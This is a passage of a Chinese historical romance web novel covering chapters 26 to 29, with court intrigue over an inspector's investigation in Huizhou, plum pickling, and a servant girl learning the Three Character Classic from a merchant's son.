周启看着眼前这两个人,心想:一个娉婷就够乱了,又来一个李博,真是心累。 此时的吴怡也心累,常年在江湖上飘着,哪里做过梅子。前两天一时兴起,却高估了自己腌梅子的热情。如今买回来这么一大筐,这得腌多少梅子! “吴怡?” “少东家?你来看老夫人啊?” “是啊,你干什么呢?” 吴怡小眼珠一转,“嘿嘿,少东家,我在给老夫人腌梅子呢,少东家要不要一起?” “我?我不会啊!” “没事,简单的很,我教你啊!” “简单的吗?” “少东家,这梅子以后是给老夫人爽口的,若是你亲手做的,老夫人肯定更高兴的!你说呢?” “恩,也是,那我先进去看看奶奶,出来我们一起做吧!” “哎,好嘞!”吴怡心想自己就是好命,来了一个免费帮佣。见钱宁进屋后,赶紧先找出坛子,一个个仔细刷起来。 半个时辰后,钱宁出来,吴怡也正好刷完了坛子,“少东家,坛子我刷完了,我们先洗梅子吧!我去拿盆,你等会啊!”吴怡赶紧去拿盆,生怕钱宁跑了。钱宁看见满满一大筐的梅子觉得牙齿突然一酸。 “来了来了,少东家,我们先把梅子倒在盆里。”两个人合力将梅子分别倒在四个盆里,又抬来水开始清洗。 洗好梅子沥水的空挡,钱宁与吴怡聊起家常,聊了一会老夫人后,钱宁突然话锋一转问到,“吴怡,你怎么会做腌梅子的?” “嘿,这个简单的呀!我小时候我娘每年都做,后来我们四处漂泊就再也没有人做了。” “哦,对了,我就听你说过你爹,你娘呢?” “我娘?”吴怡突然眼神暗淡,低下了头,“我也不知道,有一天突然就不见了,我爹说我娘……就是突然不见了。” “对不起,我不知道,惹你伤心了。” “嘿嘿,没什么!”吴怡又突然笑着说,“没有她我也长这么大了!这没什么,不怪你! 钱宁看吴怡眼中含泪,脸上却还是笑着,又觉得心疼起来,刚要安慰吴怡,只听她说,“应该差不多了,我们看看吧!”两人见梅子差不多沥干净水了,便拿来一个刚刚沥干净水的坛子,开始往里面装,装的差不多了就放上冰糖和一小坛子白酒,密封好,抬到阴凉处保存,“这酒啊,得腌大半年呢,到时候保准醇香甘甜。” “恩,到时候我们一定好好品尝一下!” “那我们再来做烟渍梅子吧!也简单,就是装好了梅子,放上盐就好了!” “原来这些这么简单啊,还是很有意思的。” 吴怡笑笑,心想,腌梅子的时候你就知道什么叫复杂了,我可不能把你吓跑了,咱们就先做点简单的,之后你就上了贼船,想跑已经来不及了! “现在呢,我们用盐揉搓这些梅子,每一个都要搓到。”两人蹲在地上揉搓了得有一柱香时间,钱宁发现自己这是上了贼船啊,见吴怡一直专心致志搓梅子,觉得自己一个大男人可不能先喊累。两人搓完了梅子,一个梅子上划上一刀开始放在盐水里浸泡,“少东家,天不早了,这些要泡上一会儿呢,剩下的我弄吧,你回去吧!” 钱宁累的就等这句话了,又不好意思直接回去,“这就行了?” “没呢,这得腌一天,每天再来吧!明天得捞出来再洗一边,然后再沥水,然后用清水冲洗,接着呢,就用糖水泡上一日再沥水,再泡上一日再沥水,用第三遍的糖水浸泡三日,就是脆梅子了!” “这么麻烦!”钱宁简直不相信自己的耳朵。 “不麻烦啊,少东家,明天你要是有事,你就别来了,我自己弄吧!” “啊?没事,我还是来帮帮你吧!” 吴怡就等这句话了,“好,少东家,明天见!”吴怡赶紧打扫战场,拿着盆子进了屋。 钱宁大脑一片空白地回去了,吴怡躲在门缝里看了只想笑。 天色渐晚,余年来到驿站,李博早就从知府衙门偷偷回来了,听余年又来了,心想:居然又来!不好好宰你一顿,都对不起自己千里来到徽州! “余大人,这上午你说徽州菜,本官在京城的确也品尝过,不过既然来了徽州嘛,本官自然应该尝尝这正宗的徽州菜啊,余大人不会介意吧?” “哈哈,钦差大人,下官已经为大人在同福苑安排了,正宗的徽派,大人请。” “余大人,这不麻烦吧?” “不麻烦,不麻烦,能招待钦差大人是下官的荣幸啊,荣幸之至,荣幸之至啊!” 两人有说有笑来到同福苑,酒过三巡菜过五味,“余大人,你在折子里参奏周开徇私,你可有证据啊?” “大人,她妹妹就住在知府衙门里,他们拿着府银去陈记钱庄存钱,陈记钱庄肯定有账本啊,据下官所知,存了一百五十两呢!” “哦?那这府银现在还在陈记喽?” “大人,后来他们不知道为什么又全额赎回去了。但是大人,我的人可说了,他们存了连半个月都没有,却是按照一年的利息结算的,您说他们这不是中饱私囊是什么呢?” “嘿,区区一百五十两,一年的利息能有多少?” “大人此言差矣,这一毫一厘都是朝廷的,进了周知府的腰包只有罪大罪小之分。” “哦,对对对,余大人提醒的对,还有吗?” “大人,你不知道,下官都没有在折子里写,这周开大人还没有上任就逛青楼楚馆,那老鸨子现在还在宣扬周知府是他们的恩客!” 李博一拍桌子,“岂有此理!” “就是啊!这文人就喜欢这个,我们做下官的能怎么办呢!唉!” 李博见余年一副捶胸顿足,恨铁不成钢的样子就想掐死余年。 “余大人,那钱记?” 第二十六章 站在门口的钱宁 - 风吹繁花散落时 - 红酒羊排 “余大人,那钱记?” 余年顿了顿,“钦差大人,这钱记的问题可不小,他们仗着朝廷供奉,最近十分猖狂。您知道他们可是徽州首富,也就是全国首富呀,钱赚多了,这品质嘛……” “余大人,有没有什么具体的凭证啊?” “钦差大人,这老鼠屎还不算凭证吗?若不是周开大人偏私,早就应该把那个钱万全抓起来了!” “余大人,那周知府与钱记可有什么私下往来呀?” “下官听说啊,这钱家的大小姐与周知府的妹妹关系甚笃,所以他们……哦,当然了,这不能说明什么,不过下官猜想,此次周知府能如此明目张胆的偏袒钱家,一定是有不可告人的目的,钦差大人一定要详查清楚,千万不能漏过啊!” “恩,好,本官一定查清楚!哼,这个周开,仗着自己是状元,根本不把别人放在眼里,这知府算什么!本朝知府多如牛毛,哼,跟本官摆什么架子!” “大人别生气,大人别生气,来来来,喝酒,喝酒。” 钱家父子通过伙计已经知道周知府对钦差爱搭不理,余年却热情周到,两个人还在同福苑“咬耳朵”,钱万全在花厅来回渡步。 “爹,这周知府打的什么算盘呢?就算他再怎么有文人骨气,如今这钦差来可是来查他的,他怎么一点也不着急啊?” “东家,若说现在周知府怎么也是跟咱们钱记绑在一条绳上了,可是他既不来与我们合作,也不和钦差搞好关系……” 钱万全终于停下,举起手来做了一个停止的动作,“官家与我们商家一直若即若离,周知府不可能跟我们合作什么,也不是我们一条绳子上的!”钱万全顿了顿,“钱宁啊,我上次跟你说调查我们自己的伙计,调查清楚了吗?” “爹,现在还没有任何异常,这些伙计都不是第一年跟着咱们钱记做工了。钱庄也查了,没有伙计有突然的进账,只有一个伙计家里突遭变故,还是柜上帮忙料理的。他也没有任何突然多出来的财物,没有接触什么生人。还有周知府带人搜查的前一天晚上,所有人都没有发现异常,更没有人没有原因的接近货架,出现老鼠屎的地方之前的确先后被打扫过,之前也没有发现异常。” “这就奇怪了,咱们柜上没有可疑的人,这老鼠屎哪里来的呢!” “爹,当时衙役说看见老鼠了,会不会是?” “你觉得衙役有问题?” “我已经派人查了,那两个衙役没有多出来的钱财,别的还在查。” “东家,若是衙役的问题可不好办啊!若是许诺了升官,那我们可是没有证据了。” “爹,我觉得是不是还是应该问问周知府什么打算?” 钱万全终于坐在椅子上,用手搓了搓腿,“钱宁,知府怎么想我们实在无从知晓,我先想想吧。虽然我们是朝廷供奉,但是跟官家走动还是要谨慎,毕竟现在知府与同知的意见不合,还有,还有一些我们无法预料的因素,你们先走吧,我再想想好了。” 钱宁知道钱万全是在想张海,通过对张海的调查,竟然没有发现张海与外界的沟通,肯定是张海刻意绕开了钱家的侦查网。 大家都愁眉不展地离开花厅,钱宁往内院走去。 这边娉婷发现来的钦差是李博放下心来,想去找陈明阳报仇,可是打听了两次他都没有回来,只好来钱家找钱朵玩。 钱朵见过周启后难以割舍,见娉婷来了更加热情起来。 “朵朵,你有没有陈明阳的消息?” “明阳哥哥不是去做生意了吗?怎么了?” “他这个混蛋,这么久不回来,我都快没意思死了。” 钱朵一边绣荷包一边听娉婷说陈明阳怎么气她了,终于找到机会询问,“娉婷姐姐,你哥哥不是在呢吗?怎么会没意思呢?” “哥哥?他最没意思了!哥哥天天就知道躲在书房里看书,谁也不理,现在幸亏李博来了,要不都要闷死了!” “谁?” 娉婷一下发觉自己失言了,“啊,没谁,来了一个朋友又走了。朵朵,你绣什么呢?” “一个荷包,绣好了送给你。” “我看看,送我的?还挺好看。”娉婷拿过来一瞧是一束梅花,“朵朵你绣的真好。” “娉婷姐姐,这四个都是,是四君子:梅兰竹菊,等我绣好了都送给你。” “有四个呀?我就要一个就好了,我又带不过来。” “恩,娉婷姐姐,你都拿回去吧,送给别人也行,这兰花其实适合男子带,只是这四个是一起的,四平八稳嘛,我若只给你三个终究不吉利。” “那好吧,谢谢朵朵妹妹了。不过这兰花和菊花我不喜欢,你要是不介意我给哥哥带好了,反正他现在带着一帮子小厮,也没人给他做。” 钱朵费了这么大劲就是要这样,她不过抱着渺茫的希望,如今竟然如此轻易达成了,“只要周大人不嫌弃就好。” “怎么会嫌弃呢?你做的这么好,我都有点不舍得给他呢!” 钱朵一紧张,赶紧说,“姐姐若是喜欢我再给姐姐做就是了。” 娉婷看了一眼钱朵,也没觉得什么,“谢谢朵朵了,我先走了!” “我送你出去吧。” “不用,我自己能找到。” 娉婷从钱朵处出来,一路在长街上行走,见钱家的下人都整整齐齐,恭恭敬敬的样子,一扫眼看见一个熟悉的身影,“吴怡?哎,吴怡,吴怡!” 吴怡早就看见娉婷了,正打算转身漫不经心走开,谁知娉婷在后边喊自己名字,吴怡简直希望自己钻到地缝里去,脚下赶紧开溜。 吴怡一直在前边跑,幸亏地方熟悉,七拐八拐进了小药房。娉婷在后边追,其实早就看不见吴怡去哪了,在院子里乱走。吴怡透过门缝见娉婷走来走去,心都提到嗓子眼了,突然肩膀被人拍了一下,“啊!” 娉婷在院子外边听见了,赶紧跑了进来,“吴怡,我都看见了你!你赶紧出来!” 突然,小药房的门打开了,钱宁拿着一张纸走了出来,“周小姐?” “钱宁?你怎么在这?” “周小姐,这里我们钱家,我在这有什么奇怪的吗?” 娉婷忽然意识到,“哦”了一声,娉婷差点就转身走了,“哎,你看见吴怡了吗?”吴怡在屋里觉得自己完蛋了。 “周小姐认识吴怡?” “对呀,她是我的丫鬟,也没告诉我一声就跑了!我刚刚看见她了!你看见她了吗?” “她是你的丫鬟?”钱宁震惊了,甚至想将吴怡叫出来当面问问清楚。“周小姐?那你,你曾经打了吴怡吗?” 娉婷一听也震惊了,“你,你怎么知道?” “看来是真的了?” “打了又怎么样!” 钱宁见娉婷一副理直气壮的样子简直觉得她无可救药了,“周小姐,这里没有你要找的人,你请回吧!”钱宁说着转身要进屋。 “站住!” “周小姐有何指教?” “刚才吴怡明明跑进来了,你赶紧把她给我交出来!” “我说了,这里没有你要找的人!” “哼,你起开,我自己进去找。” 钱宁挡在门口,坚定的说,“周小姐,虽然你是知府的妹妹,但是没有朝廷的搜查令,我想周小姐是不能在我们钱府搜人的吧!” 娉婷没想到钱宁如此坚定,也站上了台阶,“哼,钱宁你可想好了,我又没打算把吴怡怎么样,你今天非要跟我过不去,我可不保准我们姓周的还能不能有这么好的脾气!” “周小姐,请便!” 娉婷心里盘算,刚刚追吴怡也不想干什么,今天的事情若是哥哥知道了,未必站在自己这边,钱宁又如此强硬,自己不会讨到什么好果子吃,瞪了一眼钱宁便转身离开。 钱宁看娉婷走的远了,便进屋去找吴怡。吴怡站在门边上,与钱宁四目相对,吴怡心虚得低下了头。“少东家,我……” “你以前是给周知府家做帮佣?” “是,我……” “周小姐,就是周娉婷打了你?” “是,少东家,对不起,我没有跟你说实话。” 钱宁还是第一次见吴怡这么小声地说话,刚才的震惊已经不在,顿了很久,最后长出一口气,“吴怡,这里是小药房,一般人不让进来。” “啊?”吴怡以为钱宁一定会生气,没想到就等到这么一句,赶紧鞠躬认错,“对不起,对不起少东家,我现在就出去!” 吴怡刚刚走到门边,听钱宁叫自己,“啊?”。 “上次教你的名字会写了吗?” “恩,会了,这样的。”吴怡在空中比划着。 “恩,好。”钱宁笑了笑,“明天你来我书房,我再教你一些别的。” 吴怡愣愣的定住了,恍惚中听见自己“恩”了一声,机械的迈开腿离开了。这天晚上,吴怡一夜未眠,她不知道为什么钱宁没有生自己的气,这还是第一次有人没有怪她,没有骂她,还打算第二天教她一些新的东西,吴怡不知道为什么,也说不出心里的感觉,可就是睡不着。 第二十七章 吴怡蒙学 - 风吹繁花散落时 - 红酒羊排 “少东家?”吴怡站在门口探着头叫了一声。 “吴怡?你进来啊。” 吴怡犹豫了一下,还是迈腿走了进去,软绵绵的地毯差点让人站不住,吴怡见书房比知府衙门的书房大了很多,像是两件房子打通了并在一起,里面几排架子上放着的全是书籍,还有一些瓷器放在其中,钱宁正拿着书从后面的架子中间走了出来。 “吴怡,这是《三字经》,你坐这。” 吴怡坐在书桌后,接过《三字经》随意翻看,“公子,这里都是字!” 钱宁见吴怡瞪大了眼睛,好像看见了什么了不得的大事似的,笑了起来,“你别担心,这些都很简单的,来,你翻到第一页,我先教你读几句,然后你就照着这个书上的写。你看这个:人之初  性本善  性相近  习相远  苟不教  性乃迁。今天学到这里,你跟着我念啊,人之初。” “人之初。”吴怡拿起书本,“少东家,这个人字我认识的,最简单的两笔,这样一撇一捺的。”吴怡笑呵呵看着钱宁,还在空中比划着。 “是,一撇一捺的,最简单也最难。” “难?这怎么难呢?人最简单了!”: 钱宁见吴怡笑呵呵说完话继续仔仔细细看书,知道自己说得吴怡一时无法理解,但是她能读些书懂点道理对她只有好处,于是两个人一句一句学习起来。 “好,你现在合上书背一遍。” “啊?”吴怡瞪大了眼睛看着钱宁,“这这这,我这刚学一遍。” “没关系,能想起来多少就说多少。” 吴怡一紧张什么都想不起来了,“嗯,嗯,人,对,开始是人。人什么,善,嗯,那个……”吴怡眼睛眉毛都扭曲了,又挠头又蹭脸的,“嗯。哎呀,我,我又给忘了。” “没关系,你打开书,我们再读一遍,人之初。” “恩,好。”吴怡觉得如遇大赦,赶紧打开书又端端正正坐好,“人之初,嘿嘿,这个,这个我刚才,我觉得就在我嘴边,可是我就是说不出来,我,哎呀,我都急死了。” 钱宁见吴怡着急的样子,笑了起来,“没关系的,你多读两遍就会了。” “恩,人之初!”吴怡呵呵笑着,又读了一遍。 就这样两人学习了一个多时辰,吴怡终于磕磕绊绊背下来了。 “好了,今天就先学到这里,你把这个书拿回去,好好认读。你刚才都背下来了,你回去一定要好好认识它们,明天我好教你写。” “恩,好,我回去一定好好背,好好认。” “恩。” “谢谢少东家!我先回去了。” “哎,对了吴怡,你上次不是说想做生意嘛,你想了吗?做什么生意?” 吴怡原本已经站起来要走,拿着书又停下,突然得意起来,“嘿嘿,少东家,我想了,我还卖出去了呢!” “都卖出去了?什么呀?” “梅子呀,盐渍梅子,不过少东家你别误会,不是给老夫人做的那些,是我第二天又自己买了,做好了已经卖出去了。” “那你赚了多少?” “五十个铜板!哈哈哈。”吴怡伸出五个手指头,兴奋的说。 “哈哈,五十个铜板。” “少东家,我以前还没有自己赚过五十个铜板呢,虽然你可能觉得这五十个铜板没什么,不过我还是挺开心的。” “吴怡,如果你以后都想做梅子生意也不是不能,我认识一个做梅子的老手,我可以介绍给你。不过,吴怡,你要考虑你的梅子应该储存在哪,现在是梅子上市的时候,你应该趁着现在抓紧时间采购,然后……” “少东家,少东家,我,我还没想这么多呢,我就是,那个。”吴怡不过一时兴起,根本不是要一辈子做梅子生意,钱宁这么一说心里吓了一跳。 “哦,没关系,你回去好好考虑考虑,明天再告诉我你的想法也不迟。” “恩,好。”吴怡从书房出来,心里好像压了一块石头是的,想想也许万事开头难吧,又看看手上的书,心情又好起来。 此时娉婷在大厅里趴在桌子上闷闷不乐。 “怎么了你又,恩?” “哥。”娉婷头也不抬,“我想回宫了。” 周启坐在娉婷身边,摸着娉婷的头,“怎么了?” “哥,我是不是最讨人厌了?”说着娉婷哭了起来。 “怎么会呢?”周启坐得近了,将娉婷抱在怀里。 “哥,那为什么大家都不理我,也不喜欢我!”娉婷带着哭腔说到。 “怎么会呢,我妹妹是我们大周朝唯一的嫡公主,又漂亮又可爱,怎么会有人不喜欢你呢?怎么了?是不是最近没什么聚会了,闲了?那个钱朵你不是说她温柔善良的,还有陈家不是要组织出游吗?不是请你了嘛?还有那个……” “哥,陈明阳也不回来,我都不知道去了干嘛。” “陈明阳?我的人说他们似乎去大同了,离得这么近,应该就快回来了吧,等他回来,哥帮你教训他!” 娉婷在周启怀里噗嗤乐了出来,“哥,你真好。” “哈哈哈,成了,别哭了啊。来,哥哥看看。” 娉婷坐直了,也笑了出来,“嘿嘿嘿。” “傻丫头。”周启见妹妹好了,又看见桌子上一个木盒子,“这个是什么呀?” “嗯?哦,朵朵差人送来的。” 周启一打开,看见四个荷包,拿起来仔细看看,是梅兰竹菊四君子的花样,针脚看着还挺细致的。“钱朵送你的?” “恩,哥,这两个给你,这两个我带。” “你让人家送你的?” “不是啊,她那天自己说要送我的,这两个,菊花和兰花给你。” “人家送你的,你好好收着吧。” “我跟她说了,我带不了四个,她说可以送人。” “是嘛。” “真的,你拿着吧,我们兄妹带一套的,哈哈哈。” 周启仔细看这四个荷包,虽然样式都不一样,兰花和菊花的要比那两个大一点,似乎原本就是要给男人的似的。 “哥?” “哦,你留着吧,我天天穿官服也带不上。” “你不要啊?” “你留着吧!”周启起身往前堂走去,“本官得办公去了。” 娉婷拿着荷包试了试,正合适,开心起来,“连锁,何平?” “大小姐?管家跟着大人走了。” “哦,你派一个人去大同把陈明阳抓回来!” “大小姐,这,这是不是禀告大人一声。” “我让你去你就去,哪有这么多废话!” “大小姐。” “你要么派一个人去,要么你想办法让他自己回来,你想吧!” “大小姐,这简单,他们陈家就在徽州,他做完了生意就会回来了。”何平见娉婷白了自己一眼,赶紧说,“要不,恩,对了,他们家不是有个老太爷吗?咱们就写封信告诉他老太爷身体不好让他赶紧回来,他不就回来了。” “你写封信?那他能信吗?” “大小姐这好办,他们家那么多伙计,咱们就冒充他家伙计,说他们家东家怕他担心所以没有告诉他,但是作为店里的伙计觉得他一定想知道,所以就……”何平见娉婷斜着眼看自己,突然心虚起来,“恩,大小姐,我再想想。” “我觉得挺好的这个办法,你去办吧!哎,仔细点啊,等他回来,看我怎么收拾他!” 何平回去模拟伙计的语气给陈明阳写了一封信,陈明阳在大同接到信一看就着急了,快马加鞭往回赶。 李博在徽州城查了半天,不管是知府衙门的差官还是平民百姓,虽然不是全都对周知府交口称赞,接触过的人也是没有说坏话的。陈家的记录的却记载着娉婷存入一百五十两银子,后来按照全年利息结算,但是这也是按照少东家的吩咐,而陈家的少东家陈明阳到大同去做生意,陈家的东家陈千朗作证此事与周知府绝无关系。李博在办案期间与周启没有见过面,也是为了避嫌,周启的性格李博是知道的,怎么可能与什么商家为了区区半两的利息有什么串通呢?现在就剩下钱记的案子了,几个老鼠屎,一只已经逃窜的大老鼠,实在不知道该如何查起。 李博又鬼鬼祟祟来到知府衙门的后院书房,“你干嘛呢?”周启见李博带个大头巾,装扮成西域商人的样子。 “你看我这样,我要是去跟钱记谈生意,他们能相信吗?” “然后呢?” “然后,然后我就好好打探一下钱记啊。” “你打探他们干嘛?” “这不得查钱记吗?不打探打探吗?” “唉。”周启长出一口气,将书合上,“问题是一个钱记能解决的吗?他们自己查了半天不也是什么也没有查出来吗?” “一个商人,能查出什么呀。” “那你扮成商人的样子能查出什么呀!你呀,动动脑子行不行?” “周大人,我的周知府,你是不是知道什么了?”李博从小跟周启一起长大的,周启的一个眼神,他就知道他已经有了头绪。 周启白了李博一眼,“官府查案直来直往,但是还是需要百姓的配合。可是商家查案更加直接,他们自己就有第一手资料,想查什么都容易得很。” “那你的意思是?” “去调查钱记肯定要调查,他们在查什么我们一定要知道才行。” “那人家也不能告诉我们呀,况且我们官家查不出来的,人家商家倒查出来了,咱们还得去问他们?像话吗?” “咱们不去问。” “不去问?那……”李博顺着周启的眼光看向门外,娉婷又坐在花前荡秋千,什么也不愁的样子。 第二十八章 周娉婷不喜吴怡 - 风吹繁花散落时 - 红酒羊排 娉婷终于迎来了一个任务,兴高采烈来到钱家,拉着钱朵说这说那,最后还拉着钱朵出门去。娉婷的任务就是每天到钱家报到,不厌其烦的让所有人知道她在,这样只要钱家有了突破性的调查进展,或是遇到了什么调查瓶颈,一定会通过钱朵告诉娉婷,这样官家的面子保住了,李博和周启都省心了。 李博开始调查衙役,尤其那天发现老鼠屎的两位,这两位跪在地上开始还是好好回话,之后就一个劲叫屈,“大人啊,要是我们知道这样,我们,哎哟,小的真是不长眼啊,还不如晚点过去,那臭老鼠也就过去了,还不如不打开柜子呢,大老爷,我们也是尽忠职守啊,要知道这样会得罪了知府大人,我们哪能啊!大老爷呀!” 李博被他们这一叫唤被弄得心烦意乱,赶紧安抚,好不容易让他们回去了。 “大人,何必调查钱记的事情呢?只要调查清楚周知府有无徇私不就行了,和朝廷有所交代您也就交差了。” 李博的随从是从家里带来的,不认得周启,可是李博哪能不管周启就自己交差了呢。 “本官受朝廷委派,自然尽忠职守,好了,若你也没有主意就下去吧,本官再好好想想。” 此时的余年与张海也在一起盘算。 “余大人,这周知府天天呆在府衙不出门,恐怕已经怀疑你会做手脚了吧?” “本官单独上奏弹劾了他,他自然防着本官,张老板,你也没有办法吗?” “余大人,昨天我的手下看见一件奇事。” “哦?” 娉婷带着钱朵在外边晃荡一圈累了,正好离知府衙门近便来此休息,而周启正坐在树下喝茶。 “周公子好。”钱朵小鹿乱撞却强装镇定。 “钱小姐。”周启不过点头示意,继续喝茶。 娉婷一屁股再到周启对面,“朵朵,来坐呀,正好,喝点茶,逛了大半天,累死了。” 钱朵看位置都是挨着周启的,看了一眼娉婷有看了一眼周启,见兄妹二人完全不在意,便款款走到周启身边坐下。周启对着钱朵礼貌性地笑了笑,钱朵也不自然地笑了笑,“周公子,这茶是西湖的龙井,是周公子从京城带来的吗?” “啊?娉婷从街上买的。” “这杭州的龙井茶最好,因为离龙井最近而得名,而这龙井是因为当地人以为井水中有真龙才得名的。” “朵朵,你家就种茶的,对茶很有研究吧?”娉婷接过话。 “说不上什么研究,不过耳濡目染。周公子平时就很喜欢喝茶吗?” “也说不上喜欢,渴了总得喝点什么,喝白水其实也是一样的,只是从小家里就喝茶,也没觉得什么。” “哦,原来是这样。”钱朵以为周启喜欢茶,而自己恰巧懂茶,本想有了共同话题可以聊聊,谁知周启全然不在意。 “朵朵,我们走吧。”娉婷已经站起来。 “娉婷姐姐再坐一会吧,我还是有点累。” “你们坐吧,我还有事呢。”说着周启站起来往书房里去了。 钱朵正好看见周启的腰间带着配饰却没有自己送的荷包,钱朵很想追上周启再说点什么,又不好意思,只好忍住了。“娉婷姐姐,咱们也走吧。” “不坐了吗?”,娉婷刚坐下,觉得钱朵奇奇怪怪的,又说不上哪里奇怪,只好跟着钱朵走了。 两人一路又回到钱家,在长廊上又撞见吴怡。 “吴怡,我知道你现在在钱家,我又没想为难你!”娉婷这次可是先看见了吴怡,一个箭步冲到吴怡面前。 “大小姐,小姐。”吴怡见两位小姐走过来,反正自己是钱宁招来的帮佣,钱宁不怪自己就行了,便坦然面对娉婷。 “娉婷姐姐,你认识她呀?” “认识啊,以前这个丫头在我们家来的,我跟你说啊,要不是哥哥招她进来,我才看不上她呢。最后呢,也不知道怎么又跑到你们钱家来了,招呼都没打一个!” “周大小姐,我来钱家之前向管家说了,周大人也是知道的。”吴怡也毫不示弱。 “切。” 钱朵今天才正式打量了吴怡,面黄肌瘦的样子,对着娉婷还一副理直气壮的样子,不知道的还以为她是小姐。“吴怡,你是怎么认识周公子的?” “周公子?哦,小姐是说周大人吧。周大人可是好人,我爹生病了,周大人接济了我们,就认识了。”吴怡面对钱朵恢复了往常的样子。 “朵朵,别理她,我告诉你啊,这丫头最坏了,我们走了!”娉婷拉着钱朵离开,钱朵其实还想问问,又想这丫头就是钱府的丫头,以后再问也行。 娉婷经过吴怡身边的时候使劲推了吴怡一把,吴怡被推到柱子上撞得生疼,吴怡揉了揉肩膀,想起还要去书房学习呢就赶紧跑。 “少东家,我来了。”吴怡气喘吁吁。 “你怎么喘成这样?来,喝口水缓缓。” “嘿嘿,谢谢少东家,今天学什么呀?”吴怡接过水喝了一口又着急学习。 “昨天教你的你都会了吗?” “会了,我给你背一下啊,教之道 贵以专 昔孟母 择邻处 子不学 断机杼。” “嗯,很好,那你看这个念什么?”钱宁在纸上写下一个善字。 “哎,这个,这个我见过,我昨天,不是前天认得,是善,善良的意思,嘿嘿嘿,对吧,少东家!” “不错,还能记得,吴怡你记住了,以后我教你一句你记住一句,然后还要把之前学的都复习一遍,这样日积月累你就会学到更多,记得更牢。” “嗯,少东家,我记住了!” “那你背背我们第一天学的。” “啊?”吴怡又挠头蹭脸的,磕磕巴巴终于在钱宁的提醒下想起来了,“少东家,我太笨了!” “吴怡,你一点也不笨,但是你一定要用心学。这《三字经》是最简单的,但是却蕴含着非常丰富的道理,你若是都能记住,对你只有好处,你一定要用心才行。” 吴怡虽然听不太懂,还是郑重地点了点头。 “好,我们今天来学习下边一句……” “少东家,老爷有请。” “嗯,来了,吴怡,你先将以前的自己写写。” “啊?我不会写字啊!” “没关系,你就照着这些字写,就好像画画一样,照着描就行。” “哦,好。” “你就在这写吧,我去看看什么事。”钱宁一边往外走一边跟吴怡说,“桌子上有纸笔,你就坐那写吧,我先走了。” “哎,少东家放心吧,你去吧。”吴怡见钱宁走远了,攥着笔写起来,感觉这笔太小了,写着字大气都不敢出了,出了一身汗。 钱宁来到花厅,见钱万全脸色凝重,“爹,怎么了?” “咱们的伙计看见张海与余同知私下见面。” “确实吗?” “这伙计是徐掌柜的心腹,他那天也在茶园看见了余同知,他看见余同知轻车简从从后门进了张海的府邸。” “爹,难道张海与余同知?” “如今钦差还在,他们肯定不会明目张胆,可是张海对我们钱家势在必得,余同知对知府位虎视眈眈,他们两个在一起对于我们钱家绝非好事。” “要不要告诉周知府一声?” “凭着我们一个伙计的证词吗?” “爹,钦差已经来了几天了,我看他也不来咱们茶园了,恐怕马上就要结案回京。若是现在周知府出事,那我们钱家的问题也会连同周知府一起变得更加棘手,若是余同知与张海已经联合,弄掉了周知府下一个可就是我们钱家了!爹!” 钱万全考虑了一下,“周小姐还在府上吗?” “我现在就去妹妹那里。” “钱宁,你要旁敲侧击,一定不能将我们钱家卷入官府争斗!” “我知道了爹!”钱宁从花厅出来小跑着来到钱朵住所,还没进门就叫起来,“妹妹,妹妹!” “怎么了?”钱朵站在门口,她还没见哥哥如此着急,“哥哥,怎么了?” “娉婷小姐呢?” “娉婷姐姐回去了,她说有些累了。” 钱宁一听着急了,“走了多久了?” “刚出去,哥哥,你找她啊?她说明天还来呢。” 钱宁先追了出去,追到门口也没有见到娉婷的踪影,门口的小厮说早就出去了。钱宁想若是现在追出去会不会显得太着急了,钱万全刚刚说不要卷进官府争斗,况且只是伙计看见了余同知去了张海的府邸,又不能确切的说出什么。钱宁站在门口左右拿不定主意,可是娉婷已经走了,只好先回书房。 一进门吴怡正攥着笔冲自己乐,额头嘴边都是墨汁,钱宁一看吴怡这样什么烦心事都烟消云散了。“瞧你。”钱宁拿出手帕为吴怡仔细擦干净,“人家吃墨,你擦脸上啊?这可不管用啊。” 吴怡呵呵笑着,“这墨能吃吗?” “以前的墨啊是天然的,现在这里边有胶,还描金了,可不能吃啊。” “描金了?”吴怡不可置信地拿起墨块看了一眼,还用手扣了一下。 “哈哈哈,你呀,这是一种彩,最开始的时候在漆器上大量使用,现在好的墨上都有,不仅好看也是为了密封。” “哦,少东家,你真有文化。” 钱宁没想到吴怡能说自己有文化,这些对于钱宁来说好像打小就知道,好像做生意的道理根深蒂固在他的脑中。所以吴怡一夸自己,钱宁还觉得不好意思起来,突然钱宁想起来一事,“哎,对了,吴怡,你认识周知府?” “是啊,怎么了?” “那个,我,我不知道合不合适。” “少东家,你有什么吩咐?我吴怡能办到的一定给你办到!” 第二十九章 陷害(上) - 风吹繁花散落时 - 红酒羊排 吴怡从书房出来直奔知府衙门而去,而陈明阳已经回到城里,娉婷正是得到了消息往陈家去了。 李博正在驿站中坐在窗边写奏折,一张纸条包着一块小纸条正砸在桌子上,李博被吓了一跳,赶紧起身向外张望,可是外边风平浪静,什么踪迹也没有。 李博打开小纸条,上面写着余年张海四个字。李博心里一紧,他知道这意味着什么,可是这张纸不知道是哪里来的实在让人不安,突然他想起周启说过钱家可能会查到什么,但是他们会用这种方法来告知自己吗?毕竟娉婷一直在钱家,如果真查到什么应该会通过娉婷委婉的转达才对呀!况且这纸条上只写了两个名字,会不会是陷阱呢,若是陷阱又要套住谁呢? 李博在房间里考虑良久,觉得还是先暂停上奏折去找周启商量一下比较好。 娉婷一路跑回知府衙门,拿出已经准备多时的棍子向陈家走去,路上她看见一群人花枝招展的在拐角处闲聊,娉婷走过她们差点被香味熏晕,但是她已经管不了这么多了,陈明阳已经进城了! 陈家门口,陈明阳刚一下马,陈千朗从里面走了出来,“你怎么回来了?” “爹,我都知道了,爷爷怎么样?” “知道什么了?你爷爷挺好的呀!” 陈明阳见父亲的表情就知道他没有骗自己,心里一沉,刚要说话,听见后边“呼”的风声,陈明阳推了一下陈千朗,两人一起躲过了娉婷的大闷棍。 “你疯了!”陈明阳一回头看见娉婷打空了后往前小跑了两步。 娉婷回过身,继续朝陈明阳打去,陈千朗想拉着儿子赶紧躲进内院,可是陈明阳自幼学武,左右躲闪,瞧准了机会,一把将棍子夺了过去,“你闹够了没有!” “你还给我!”娉婷上来抢棍子,陈千朗上来劝和,三人挤在一起乱了起来。 这边吴怡着急地往知府衙门后院走,钱宁说要不经意地向周知府透露,吴怡虽然还没有想好怎么办,可是现在去看看大家也没什么奇怪的。吴怡走进衙门见门关着,透过门缝看院子里好像一个人都没有,便站在门口喊了两声,居然没有一个人应门。吴怡想也许有事出去了,钱宁也没有说今天必须告诉周大人,那不如明天再来吧!想着吴怡就转身离开。 